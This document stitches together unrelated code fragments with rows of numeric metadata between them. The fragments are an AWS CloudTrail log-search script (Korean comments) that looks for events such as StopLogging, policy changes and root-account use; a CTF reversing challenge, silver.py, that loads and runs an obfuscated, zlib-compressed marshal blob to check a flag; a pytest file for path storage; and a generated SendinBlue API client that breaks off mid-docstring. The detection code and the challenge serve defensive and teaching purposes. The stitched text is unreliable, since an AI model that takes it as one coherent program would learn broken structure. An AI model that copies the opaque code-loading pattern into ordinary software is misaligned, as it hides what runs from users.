jsonoutput = json.dumps(output)
if log.get("nextToken"):
next_token = log["nextToken"]
else:
break
return jsonoutput
# 4. CloudTrail 추적 비활성화
# def CloudTrailLoggingDisabled():
# 5. CloudTrail로깅 중단, 기존 로그 삭제 => API = StopLogging
def LoggingConfigurationModified():
cnt = 0
output = []
next_token = ''
while True:
if next_token:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='StopLogging',
nextToken=next_token
)
else:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='StopLogging'
)
for i in log['events']:
if 'iam.amazonaws.com' in i.get('message'):
cnt += 1
result = {"timestamp": i['timestamp'], "message": i['message']}
output.append(result)
print(result)
print(cnt)
jsonoutput = json.dumps(output)
if log.get("nextToken"):
next_token = log["nextToken"]
else:
break
return jsonoutput
# 6. IAM 사용자, 그룹 또는 정책을 추가/변경/삭제
def UserPermissions():
cnt = 0
output = []
next_token = ''
while True:
if next_token:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='?AttachUserPolicy ?ListInstanceProfilesForRole',
nextToken=next_token
)
else:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='?AttachUserPolicy ?ListInstanceProfilesForRole'
)
for i in log['events']:
if 'iam.amazonaws.com' in i.get('message'):
cnt += 1
result = {"timestamp": i['timestamp'], "message": i['message']}
output.append(result)
print(result)
print(cnt)
jsonoutput = json.dumps(output)
if log.get("nextToken"):
next_token = log["nextToken"]
else:
break
return jsonoutput
# 7. 리소스 보안 액세스 정책 변경
def ResourcePermissions():
cnt = 0
output = []
next_token = ''
while True:
if next_token:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='PutBucketPolicy',
nextToken=next_token
)
else:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='PutBucketPolicy'
)
for i in log['events']:
if 'iam.amazonaws.com' in i.get('message'):
cnt += 1
result = {"timestamp": i['timestamp'], "message": i['message']}
output.append(result)
print(result)
print(cnt)
jsonoutput = json.dumps(output)
if log.get("nextToken"):
next_token = log["nextToken"]
else:
break
return jsonoutput
# 8. 루트 계정
def RootCredentialUsage():
cnt = 0
output = []
next_token = ''
while True:
if next_token:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='root',
nextToken=next_token
)
else:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='root'
)
for i in log['events']:
if 'iam.amazonaws.com' in i.get('message'):
cnt += 1
result = {"timestamp": i['timestamp'], "message": i['message']}
output.append(result)
print(result)
print(cnt)
jsonoutput = json.dumps(output)
if log.get("nextToken"):
next_token = log["nextToken"]
else:
break
return jsonoutput
# 9. 계정 암호 정책 약화
# def PasswordPolicyChange():
# 10. 비정상적인 콘솔 로그인
# def ConsoleLoginDetect():
# 11. 컴퓨팅 리소스 시작
def ComputingResource():
cnt = 0
output = []
next_token = ''
while True:
if next_token:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='RunInstances',
nextToken=next_token
)
else:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='RunInstances'
)
for i in log['events']:
if 'iam.amazonaws.com' in i.get('message'):
cnt += 1
result = {"timestamp": i['timestamp'], "message": i['message']}
output.append(result)
print(result)
print(cnt)
jsonoutput = json.dumps(output)
if log.get("nextToken"):
next_token = log["nextToken"]
else:
break
return jsonoutput
# 함수 실행
# PentestSystems() #2
# NetworkPermissions() #3
# LoggingConfigurationModified() #5
# UserPermissions() #6
# ResourcePermissions() #7
# RootCredentialUsage() #8
# ComputingResource() #11
| 29.7393
| 79
| 0.521785
| 727
| 7,643
| 5.338377
| 0.173315
| 0.064932
| 0.043288
| 0.057717
| 0.822468
| 0.803659
| 0.803659
| 0.803659
| 0.803659
| 0.803659
| 0
| 0.007953
| 0.374853
| 7,643
| 256
| 80
| 29.855469
| 0.804311
| 0.088054
| 0
| 0.803828
| 0
| 0
| 0.167243
| 0.050461
| 0
| 0
| 0
| 0
| 0
| 1
| 0.033493
| false
| 0
| 0.009569
| 0
| 0.076555
| 0.066986
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c7a59634acef4230bb04bf05fa66272652ebbf58
| 5,634
|
py
|
Python
|
other/re-risky/split-version/task2/task/silver.py
|
iicarus-bit/google-ctf
|
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
|
[
"Apache-2.0"
] | 2,757
|
2018-04-28T21:41:36.000Z
|
2022-03-29T06:33:36.000Z
|
other/re-risky/split-version/task2/task/silver.py
|
iicarus-bit/google-ctf
|
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
|
[
"Apache-2.0"
] | 20
|
2019-07-23T15:29:32.000Z
|
2022-01-21T12:53:04.000Z
|
other/re-risky/split-version/task2/task/silver.py
|
iicarus-bit/google-ctf
|
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
|
[
"Apache-2.0"
] | 449
|
2018-05-09T05:54:05.000Z
|
2022-03-30T14:54:18.000Z
|
#!/usr/bin/python
# -*- coding: utf8 -*-
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http:#www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import platform
import sys
import marshal
import types
print """
\x1b[38;5;242m.▄▄ · ▪ ▄▄▌ ▌ ▐·▄▄▄ .▄▄▄\x1b[m
\x1b[38;5;244m▐█ ▀. ██ ██• ▪█·█▌▀▄.▀·▀▄ █·\x1b[m
\x1b[38;5;246m▄▀▀▀█▄▐█·██▪ ▐█▐█•▐▀▀▪▄▐▀▀▄\x1b[m
\x1b[38;5;248m▐█▄▪▐█▐█▌▐█▌▐▌ ███ ▐█▄▄▌▐█•█▌\x1b[m
\x1b[38;5;250m ▀▀▀▀ ▀▀▀.▀▀▀ . ▀ ▀▀▀ .▀ ▀\x1b[m
\x1b[38;5;255mWinja CTF 2018\x1b[m
"""
if (sys.version_info.major != 2 or sys.version_info.minor != 7):
sys.exit("This application requires Python 2.7.")
if len(sys.argv) != 2:
sys.exit("usage: silver.py <flag>")
flag = sys.argv[1]
if len(flag) >= 32:
sys.exit("Meh.")
alphabet = set("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-_")
for ch in flag:
if ch not in alphabet:
sys.exit("No.")
loader = '\x78\x9c\xe5\x55\x5d\x6b\x64\x45\x10\xed\xb9\x33\xc9\x26\xd9\x98\x75\x1f\x44\x05\x7f\x40\x9e\xd6\xee\xea\x6f\x10\x51\xd4\x80\x2f\x8b\x24\x08\x22\x2a\x54\x77\x55\x27\xd9\x8c\xba\xee\x5c\x3f\x49\x9e\xd6\xff\xad\xd5\x3d\x1b\x0c\x82\x4a\x9e\xbd\x4c\xdf\xa9\xfe\x38\xa7\xab\x4e\x9f\x7b\x6f\x55\xaf\xae\x49\xda\x07\xd2\x36\x6f\xcb\x8d\xe4\xb7\x50\x6b\xa5\xbe\x94\x60\x52\xbf\x4b\xb0\xe8\x23\x67\xc7\x4b\x99\xbd\xfc\x43\xae\xa7\x75\x21\xe1\x8e\xb4\x5d\x69\x1f\x75\xe4\xcf\x6a\xc0\x64\xf5\xcd\x42\x5d\x2f\xd4\x4b\x09\x26\x35\x2b\x75\x3d\xa9\x97\x8b\x11\xa8\x1e\x5c\x2d\xd5\x8b\x27\x6a\x16\xba\x79\x52\xe7\x4a\xcd\xcb\x3e\xd1\x17\x4d\xea\xe3\xaf\xdf\x55\x5f\x4d\xea\x66\xa9\x6e\x56\x6a\x5e\xa9\x67\x3b\x3d\x81\xeb\xa5\x7a\x93\xa4\x09\xf8\xd9\x6e\xe7\xbd\x5e\xa9\xab\x49\x7d\x33\xa9\x1f\x3e\xec\x8c\x67\xc7\x2b\xd9\xfb\x69\xed\x85\x2c\x5e\xb5\xb3\x9e\xd2\xeb\x7f\xa5\xb4\xdd\x5d\xc6\x8f\xa7\xff\xc5\xda\x7e\x3d\xbe\x5d\x1b\xb7\x6b\x45\x4a\x91\x91\x56\x8a\x44\xd6\x5d\x45\x0f\x46\xbc\xa7\x68\x5f\xd1\x81\xa2\x87\x8a\x0e\x15\xbd\x36\xa6\xa4\x7b\xa4\xce\x1f\x0b\xe5\xa3\x4e\x39\x77\x6f\x78\x6e\xb6\x01\x22\x1b\xe7\x4d\x08\xb5\x54\x5d\xa2\x4d\xd8\xb0\x40\x4b\x94\x75\x85\x9c\x99\x98\x3d\x17\xa7\xbd\x31\x3a\xda\xec\xd9\x16\x0c\x36\x62\x0a\x83\xc4\x36\xaa\x2e\x37\x87\xdc\xaa\x4e\xc1\xa7\x54\x5b\xf4\x90\xb2\x89\x09\x9d\xb3\xde\x60\xf2\xda\x5a\x0e\x35\x72\x66\x87\xd6\xda\xc8\xd1\x84\xbe\x37\x98\xb6\xcd\x84\x7c\x89\xb1\x68\xa2\x68\x43\x94\xc8\x03\xb4\x6a\xb2\x8f\xc0\x1e\xa3\x21\x57\x0a\xe4\xda\xa8\xc5\x94\x63\x96\xad\xd0\x52\xc5\x64\x83\x29\x84\xd1\x0d\x92\xc8\xcc\xb5\x19\x96\x0d\xb2\xc9\xa9\x00\xea\x44\x51\x0a\x92\x02\x32\x31\x81\x73\xb9\xb0\x6f\x56\x6a\x91\x51\x5b\x74\x4b\x56\x17\x32\xb9\x95\x98\x43\xda\x66\xa2\xb3\x8d\x1a\x74\x76\xe4\xaa\xa8\x50\x22\x54\x5b\x2c\x20\x35\x46\x5b\xab\xf1\x9a\x43\x68\x64\x5a\x65\x49\xb6\xf9\x12\xd0\xe8\x22\xe5\x6a\x2a\x52\xd9\x20\x29\x08\xc9\xdb\x16\x5b\x61\x1d\x80\x9a\xe6\x14\x2a\x19\x88\x26\x33\xa0\x74\x09\x8d\x88\xe3\x93\xac\x81\xa0\x45\x13\xe9\xe6\x8c\x39\x6a\xb2\xad\x6e\x49\x20\xa3\xe4\x59\x9d\xd1\xd0\x6c\x34\x4c\x95\x7d\x81\x82\x0d\x72\xb3\x56\x63\x70\x92\x2b\x48\xe6\x1d\x6b\x0a\x1a\x76\xbe\xa0\x28\x90\x5d\x15\x7e\x3b\x48\x30\x5a\xd7\x9a\xe8\xe9\x2d\x50\xdf\x26\x93\xcb\x54\x5b\x3f\xc7\xe4\x45\x11\x39\x38\x6c\x59\x7b\x29\x10\x1c\x57\x71\x42\x10\x72\x53\xb5\xec\xa0\xb3\x1f\x24\x09\x0b\x66\x8e\x3a\x63\x8b\xa6\x58\x02\xb2\xa9\x88\x0e\x9a\xb8\xb0\x03\xf0\x96\x75\x0c\xcd\x47\x11\x09\x5d\xc4\x7e\xc6\x92\x5a\x6b\x26\x72\x81\x48\x83\xa4\x55\x2f\x19\x90\xb3\x96\xe4\x20\x5d\x45\x28\x1c\x9d\xce\x81\x6c\xcd\x5d\x5a\x8f\x62\x90\xd4\xeb\x84\x5a\x9c\x23\x1d\x90\xb9\xe9\x2c\x5e\x90\xf4\xcd\x56\x13\x4e\xd1\x89\x9d\xa4\x5a\x12\xb7\x49\x87\x88\xd8\x82\xb8\x0f\x48\x47\x6d\x5c\x8e\x15\x42\x6b\x16\x23\x57\x07\xbe\x64\x34\xa2\x45\x2e\x92\xb9\xb0\x6f\x1d\x8b\xe2\xb4\x98\x92\x85\x58\x40\x27\x71\x96\xc7\x96\xe4\x39\xd0\xc2\x61\x74\x68\xd1\x35\x90\x3a\x4b\x26\x48\x84\x3e\x1b\xa9\xb1\x57\xee\x82\xf6\x21\xd7\x41\xe2\x18\xac\xab\x9c\x9c\x05\x93\xa4\x04\x99\x40\x2f\xa6\x34\x3e\x78\xf4\x31\x71\x4d\x46\x5c\xe6\x84\x30\x5b\x71\xa3\xb8\x89\x4a\x10\x37\x43\xd3\xba\xd9\xad\xb0\x21\x95\xe4\x0d\x24\x17\x44\x77\x4d\x62\xc9\x20\xc9\xcb\x13\x27\x46\xf0\x91\x52\xac\x2c\x4f\x51\xa6\xa4\xb1\x26\x6d\xc0\x83\xd1\x3e\xfb\x10\xe5\x08\xe4\xe0\xf3\x71\x7f\x29\xfc\xed\xb6\x39\x90\x5b\xbd\xe0\x7a\xc5\x2f\x9e\x3c\xff\x75\xee\x6f\xf8\x73\x9e\x0f\xfb\xd4\x34\x5e\x3a\xdb\xb5\xfd\xbd\x73\x7a\xf4\x6f\xd0\x31\xfb\xb0\x8f\xaf\x06\x6e\x7f\xba\x17\xf2\xe0\x0e\x72\x75\x2f\xe4\xfe\x1d\xe4\xee\xbd\x90\x7b\x77\x90\x7b\xf7\x42\x3e\xb8\x83\x3c\xb8\x17\x72\xf7\x0e\xf2\x70\xee\xbd\xb3\xcf\x4f\x4e\x3e\xfd\x62\x84\x9f\x9d\x7e\x22\xe1\x71\x67\x1f\x27\xb1\xe6\xef\xe6\xfe\x91\x3d\xc1\xf5\x86\xc7\x08\xae\xd7\xe3\xff\xb7\xcb\xe7\x73\x5f\x76\x81\x9b\x8b\xf5\x65\x19\xe8\xcd\x05\x82\x0f\x73\xd7\xe3\x82\x7f\xa1\xcb\x73\xde\xcc\xc7\x1d\x3e\xf7\xdc\x36\x63\xfb\x11\xfe\x34\x4f\x23\xb1\xc1\x34\xcb\xa2\x7f\xb4\xc3\xce\x6d\xb7\x07\x9b\xa3\x6d\xda\x8f\xf6\x17\x6f\x2d\x56\xd3\x72\xb1\x5c\x8c\x2f\xce\xe9\x1b\xfd\xf6\xce\x7f\x9b\xab\xeb\xfd\xde\xb7\xdf\xd3\x8f\x6b\x7e\x7f\x79\xeb\xb0\xc3\xe9\x4f\x30\xa2\x9d\x2f'.decode('zlib')
loader = types.FunctionType(marshal.loads(loader), globals())
loader()
if check(flag):
print "Well done!"
sys.exit(0)
else:
sys.exit("Nope.")
| 119.87234
| 4,122
| 0.72098
| 1,273
| 5,634
| 3.271799
| 0.306363
| 0.014406
| 0.008643
| 0.010804
| 0.012005
| 0
| 0
| 0
| 0
| 0
| 0
| 0.253247
| 0.043308
| 5,634
| 46
| 4,123
| 122.478261
| 0.499814
| 0.103656
| 0
| 0
| 0
| 0.032258
| 0.903059
| 0.837505
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0.129032
| null | null | 0.064516
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
c7c42e98a63c983754caac060016aec7616c3fde
| 3,896
|
py
|
Python
|
tests/system/test_basic_insert_select.py
|
dkolmakov/fhm
|
7231c8dba87ead54e2deda057d7ed1c123aa9da6
|
[
"Apache-2.0"
] | 26
|
2019-09-28T18:23:38.000Z
|
2022-01-30T07:18:07.000Z
|
tests/system/test_basic_insert_select.py
|
dkolmakov/fhm
|
7231c8dba87ead54e2deda057d7ed1c123aa9da6
|
[
"Apache-2.0"
] | 43
|
2019-09-09T06:28:49.000Z
|
2020-04-19T21:26:17.000Z
|
tests/system/test_basic_insert_select.py
|
dkolmakov/fhm
|
7231c8dba87ead54e2deda057d7ed1c123aa9da6
|
[
"Apache-2.0"
] | 3
|
2019-10-13T19:20:38.000Z
|
2020-11-21T18:55:41.000Z
|
import pytest
from common import *
def test_session_numbering(remove_db):
name = "test session"
db0, sess_id_0 = create_session("test", name)
assert sess_id_0 == 1
db1, sess_id_1 = create_session("test", name)
assert sess_id_1 == 2
def test_basic_insert_select(remove_db):
pwd = "/some/arbitrary/path"
cmd = "some --arbitrary command"
basic_insert_select(cmd, pwd)
def test_select_with_underscores(remove_db):
pwd = "/some/arbitrary/path_with_underscores"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_dots(remove_db):
pwd = "/some/a.r.b.i.t.r.a.r.y/.path"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_hypens(remove_db):
pwd = "/some/arbitrary/path-with-hyphens"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_spaces(remove_db):
pwd = "/some/arbitrary/path with hyphens"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_cyrillic (remove_db):
pwd = "/some/arbitrary/path_with_кириллица"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_numbers (remove_db):
pwd = "/some/arbitrary/path_with/12345"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_percent (remove_db):
pwd = "/some/arbitrary/path_with_%"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_exclamation_mark (remove_db):
pwd = "/some/arbitrary/path_with_!"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_at (remove_db):
pwd = "/some/arbitrary/path_with_@"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_hash (remove_db):
pwd = "/some/arbitrary/path_with_#"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_dollar (remove_db):
pwd = "/some/arbitrary/path_with_$"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_caret (remove_db):
pwd = "/some/arbitrary/path_with_^"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_ampersand (remove_db):
pwd = "/some/arbitrary/path_with_&"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_question_mark (remove_db):
pwd = "/some/arbitrary/path_with_?"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_parenthesises (remove_db):
pwd = "/some/arbitrary/path_with_()"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_plus (remove_db):
pwd = "/some/arbitrary/path_with_+"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_equals (remove_db):
pwd = "/some/arbitrary/path_with_="
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_curly_braces (remove_db):
pwd = "/some/arbitrary/path_with_{}"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_square_brackets (remove_db):
pwd = "/some/arbitrary/path_with_[]"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_colon (remove_db):
pwd = "/some/arbitrary/path_with_:"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_semi_colon (remove_db):
pwd = "/some/arbitrary/path_with_;"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_comma (remove_db):
pwd = "/some/arbitrary/path_with_,"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_number_mark (remove_db):
pwd = "/some/arbitrary/path_with_№"
cmd = "some command"
basic_insert_select(cmd, pwd)
def test_select_with_pass_min_plus_1 (remove_db):
pwd = "/a"
cmd = "some command"
basic_insert_select(cmd, pwd)
| 23.053254
| 50
| 0.704055
| 559
| 3,896
| 4.533095
| 0.121646
| 0.071823
| 0.174428
| 0.23678
| 0.852407
| 0.852407
| 0.841358
| 0.777427
| 0.748619
| 0.748619
| 0
| 0.004409
| 0.185062
| 3,896
| 168
| 51
| 23.190476
| 0.793071
| 0
| 0
| 0.453704
| 0
| 0.009259
| 0.260267
| 0.160934
| 0
| 0
| 0
| 0
| 0.018519
| 1
| 0.240741
| false
| 0.009259
| 0.018519
| 0
| 0.259259
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
c7d6bd0517a47a7db40b654a174860b5e5e2197b
| 26,301
|
py
|
Python
|
sib_api_v3_sdk/api/folders_api.py
|
Danilka/APIv3-python-library
|
c96472f47d652d2e09e8b4a48a80e33fde06e7f1
|
[
"MIT"
] | null | null | null |
sib_api_v3_sdk/api/folders_api.py
|
Danilka/APIv3-python-library
|
c96472f47d652d2e09e8b4a48a80e33fde06e7f1
|
[
"MIT"
] | null | null | null |
sib_api_v3_sdk/api/folders_api.py
|
Danilka/APIv3-python-library
|
c96472f47d652d2e09e8b4a48a80e33fde06e7f1
|
[
"MIT"
] | null | null | null |
# coding: utf-8
"""
SendinBlue API
SendinBlue provide a RESTFul API that can be used with any languages. With this API, you will be able to : - Manage your campaigns and get the statistics - Manage your contacts - Send transactional Emails and SMS - and much more... You can download our wrappers at https://github.com/orgs/sendinblue **Possible responses** | Code | Message | | :-------------: | ------------- | | 200 | OK. Successful Request | | 201 | OK. Successful Creation | | 202 | OK. Request accepted | | 204 | OK. Successful Update/Deletion | | 400 | Error. Bad Request | | 401 | Error. Authentication Needed | | 402 | Error. Not enough credit, plan upgrade needed | | 403 | Error. Permission denied | | 404 | Error. Object does not exist | | 405 | Error. Method not allowed | # noqa: E501
OpenAPI spec version: 3.0.0
Contact: contact@sendinblue.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from sib_api_v3_sdk.api_client import ApiClient
class FoldersApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def create_folder(self, create_folder, **kwargs): # noqa: E501
"""Create a folder # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.create_folder(create_folder, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param CreateUpdateFolder create_folder: Name of the folder (required)
:return: CreateModel
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.create_folder_with_http_info(create_folder, **kwargs) # noqa: E501
else:
(data) = self.create_folder_with_http_info(create_folder, **kwargs) # noqa: E501
return data
def create_folder_with_http_info(self, create_folder, **kwargs): # noqa: E501
"""Create a folder # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.create_folder_with_http_info(create_folder, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param CreateUpdateFolder create_folder: Name of the folder (required)
:return: CreateModel
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['create_folder'] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_folder" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'create_folder' is set
if ('create_folder' not in params or
params['create_folder'] is None):
raise ValueError("Missing the required parameter `create_folder` when calling `create_folder`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'create_folder' in params:
body_params = params['create_folder']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['api-key', 'partner-key'] # noqa: E501
return self.api_client.call_api(
'/contacts/folders', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='CreateModel', # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_folder(self, folder_id, **kwargs): # noqa: E501
"""Delete a folder (and all its lists) # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.delete_folder(folder_id, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param int folder_id: Id of the folder (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.delete_folder_with_http_info(folder_id, **kwargs) # noqa: E501
else:
(data) = self.delete_folder_with_http_info(folder_id, **kwargs) # noqa: E501
return data
def delete_folder_with_http_info(self, folder_id, **kwargs): # noqa: E501
"""Delete a folder (and all its lists) # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.delete_folder_with_http_info(folder_id, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param int folder_id: Id of the folder (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['folder_id'] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_folder" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'folder_id' is set
if ('folder_id' not in params or
params['folder_id'] is None):
raise ValueError("Missing the required parameter `folder_id` when calling `delete_folder`") # noqa: E501
collection_formats = {}
path_params = {}
if 'folder_id' in params:
path_params['folderId'] = params['folder_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['api-key', 'partner-key'] # noqa: E501
return self.api_client.call_api(
'/contacts/folders/{folderId}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_folder(self, folder_id, **kwargs): # noqa: E501
"""Returns folder details # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.get_folder(folder_id, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param int folder_id: id of the folder (required)
:return: GetFolder
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.get_folder_with_http_info(folder_id, **kwargs) # noqa: E501
else:
(data) = self.get_folder_with_http_info(folder_id, **kwargs) # noqa: E501
return data
def get_folder_with_http_info(self, folder_id, **kwargs): # noqa: E501
"""Returns folder details # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.get_folder_with_http_info(folder_id, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param int folder_id: id of the folder (required)
:return: GetFolder
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['folder_id'] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_folder" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'folder_id' is set
if ('folder_id' not in params or
params['folder_id'] is None):
raise ValueError("Missing the required parameter `folder_id` when calling `get_folder`") # noqa: E501
collection_formats = {}
path_params = {}
if 'folder_id' in params:
path_params['folderId'] = params['folder_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['api-key', 'partner-key'] # noqa: E501
return self.api_client.call_api(
'/contacts/folders/{folderId}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='GetFolder', # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_folder_lists(self, folder_id, **kwargs): # noqa: E501
"""Get the lists in a folder # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.get_folder_lists(folder_id, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param int folder_id: Id of the folder (required)
:param int limit: Number of documents per page
:param int offset: Index of the first document of the page
:return: GetFolderLists
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.get_folder_lists_with_http_info(folder_id, **kwargs) # noqa: E501
else:
(data) = self.get_folder_lists_with_http_info(folder_id, **kwargs) # noqa: E501
return data
def get_folder_lists_with_http_info(self, folder_id, **kwargs): # noqa: E501
"""Get the lists in a folder # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
